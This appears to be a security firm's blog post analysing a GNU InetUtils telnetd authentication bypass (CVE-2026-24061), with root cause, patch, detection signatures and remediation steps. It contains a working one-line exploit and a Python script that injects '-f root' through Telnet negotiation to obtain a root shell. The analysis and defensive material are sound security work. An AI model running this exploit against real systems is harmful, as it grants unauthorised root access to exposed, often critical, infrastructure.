Back to Research
CVE AnalysisTelnetAuthentication BypassRemote Code Execution

CVE-2026-24061: Telnet to Root — GNU InetUtils Auth Bypass

March 17, 20266 min read

Introduction

In January 2026, a vulnerability was publicly disclosed in GNU InetUtils telnetd that sent shockwaves through the security community — not because of its technical complexity, but because of its absurd simplicity. CVE-2026-24061 allows an unauthenticated remote attacker to gain an instant root shell on any system running vulnerable versions of GNU telnetd. No brute forcing. No memory corruption. Just a single flag injected through the Telnet protocol.

The bug sat in the codebase for over a decade, introduced quietly in a 2015 commit, and was being actively exploited in the wild before most organizations even knew it existed. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog shortly after disclosure, and threat groups including rwxrwx were already leveraging it against exposed infrastructure.

This post breaks down the root cause, walks through exploitation, and covers what defenders need to do about it.

Vulnerability Summary

  • CVE: CVE-2026-24061
  • CVSS: 9.8 (Critical)
  • Affected: GNU InetUtils telnetd ≤ 2.7-1
  • Fixed In: GNU InetUtils 2.7-2
  • Type: Authentication Bypass → Remote Root
  • Attack Vector: Network (unauthenticated)

Root Cause Analysis

The flaw lives in how GNU telnetd constructs the command line for /usr/bin/login. When a user connects via Telnet, the daemon uses a template string to build the login invocation. That template includes a %U placeholder, which gets expanded to the value of the USER environment variable.

Here is the vulnerable pattern from telnetd/utility.c:

hljs c
case 'U': return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");

The problem is straightforward: the Telnet protocol allows clients to set environment variables during session negotiation via NEW_ENVIRON suboption packets. This means an attacker directly controls the value of USER.

When the template expands, it produces something like:

/usr/bin/login -h <hostname> <USER_VALUE>

Under normal operation, USER would contain a username — say, admin. But there is zero validation on the value before it gets inserted into the command string.

The Exploit: One Flag, Game Over

The login binary on Linux supports a -f flag that tells it to skip authentication entirely and immediately grant a shell for the specified user. If an attacker sets:

USER = -f root

The resulting login command becomes:

/usr/bin/login -h 192.168.1.100 -f root

That is it. No password prompt. No challenge-response. Just a root shell, handed over on a silver platter.

Exploitation in Practice

The exploit is trivially reproducible. Using a standard Telnet client:

hljs bash
USER='-f root' telnet -a <target_ip>

The -a flag instructs the Telnet client to send the USER environment variable during negotiation. The target's telnetd picks it up, passes it unvalidated into the login command, and the -f root argument does the rest.

For more controlled exploitation, a Python script can simulate the full Telnet negotiation, sending the crafted NEW_ENVIRON suboption directly:

hljs python
import socket import struct # Telnet protocol constants IAC = b'\xff' SB = b'\xfa' SE = b'\xf0' WILL = b'\xfb' DO = b'\xfd' NEW_ENVIRON = b'\x27' def exploit(target, port=23): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) # Wait for server negotiation data = s.recv(1024) # Send WILL NEW_ENVIRON s.send(IAC + WILL + NEW_ENVIRON) data = s.recv(1024) # Send the poisoned USER variable via suboption payload = IAC + SB + NEW_ENVIRON payload += b'\x00' # IS payload += b'\x00' # VAR type payload += b'USER' payload += b'\x01' # VALUE payload += b'-f root' payload += IAC + SE s.send(payload) # Interact with the shell import telnetlib t = telnetlib.Telnet() t.sock = s t.interact() if __name__ == '__main__': import sys exploit(sys.argv[1])

Protocol-Level Breakdown

For those interested in the wire-level details, here is what happens during the Telnet negotiation:

  1. Server → Client: Sends DO NEW_ENVIRON indicating it supports environment variable exchange
  2. Client → Server: Responds with WILL NEW_ENVIRON
  3. Server → Client: Sends SB NEW_ENVIRON SEND VAR "USER" requesting the USER variable
  4. Client → Server: Sends SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" SE — the poisoned payload
  5. Server: Expands %U in login template with -f root
  6. Server: Executes /usr/bin/login -h <client_ip> -f root
  7. login: The -f flag skips authentication, spawning a root shell

The entire negotiation completes in milliseconds. From TCP handshake to root shell, there is no delay, no interaction, and no opportunity for rate limiting or account lockout to intervene.

The Patch

The fix introduced in 2.7-2 adds a sanitize() function that rejects any value starting with a dash or containing shell metacharacters:

hljs c
static char * sanitize(const char *u) { if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")]) return u; else return ""; }

This function is now applied to all placeholder substitutions, including %U. If the value starts with - or contains any dangerous character, it returns an empty string instead.

Impact and Exposure

The numbers are concerning:

  • 200,000+ devices globally running vulnerable telnetd instances
  • ~1 million hosts with port 23 open (Shodan/Censys data)
  • The vulnerability went undetected for 11 years in the codebase
  • Active exploitation observed within days of public disclosure
  • Embedded systems, IoT devices, OT/ICS infrastructure disproportionately affected

Telnet is deprecated, yes. But "deprecated" does not mean "gone." Legacy systems in healthcare, manufacturing, and critical infrastructure still rely on it. Many of these systems cannot be easily updated or replaced.

Detection

Look for the following indicators:

  • Inbound connections to port 23 containing -f in the NEW_ENVIRON suboption
  • Successful root logins via telnetd without corresponding password authentication in auth logs
  • Process trees showing /usr/bin/login -f root spawned by in.telnetd

Snort/Suricata signature for detection:

hljs text
alert tcp any any -> any 23 (msg:"CVE-2026-24061 Telnet Auth Bypass Attempt"; \ content:"|ff fa 27|"; content:"-f"; within:50; \ reference:cve,2026-24061; sid:2026001; rev:1;)

Log-based detection with grep:

hljs bash
# Check auth logs for suspicious telnet logins grep -E 'login.*-f.*root' /var/log/auth.log # Check for telnetd spawning login with -f flag ps auxf | grep '[i]n.telnetd'

Remediation

  1. Patch immediately — Upgrade GNU InetUtils to 2.7-2 or later
  2. Kill Telnet — Replace with SSH wherever possible
  3. Firewall port 23 — Block external access to Telnet services
  4. Audit — Check for unauthorized root logins in /var/log/auth.log
  5. Network segmentation — Isolate legacy systems that must run Telnet

Conclusion

CVE-2026-24061 is a reminder that legacy protocols do not age gracefully. A single unsanitized variable, sitting in a codebase for over a decade, turned every vulnerable telnetd instance into a one-shot root shell. The simplicity of the exploit — a single environment variable — makes it accessible to anyone with basic networking knowledge.

If you still have Telnet exposed anywhere in your environment, treat this as the wake-up call it is.

Interested in how this research applies to your organization?

Get in Touch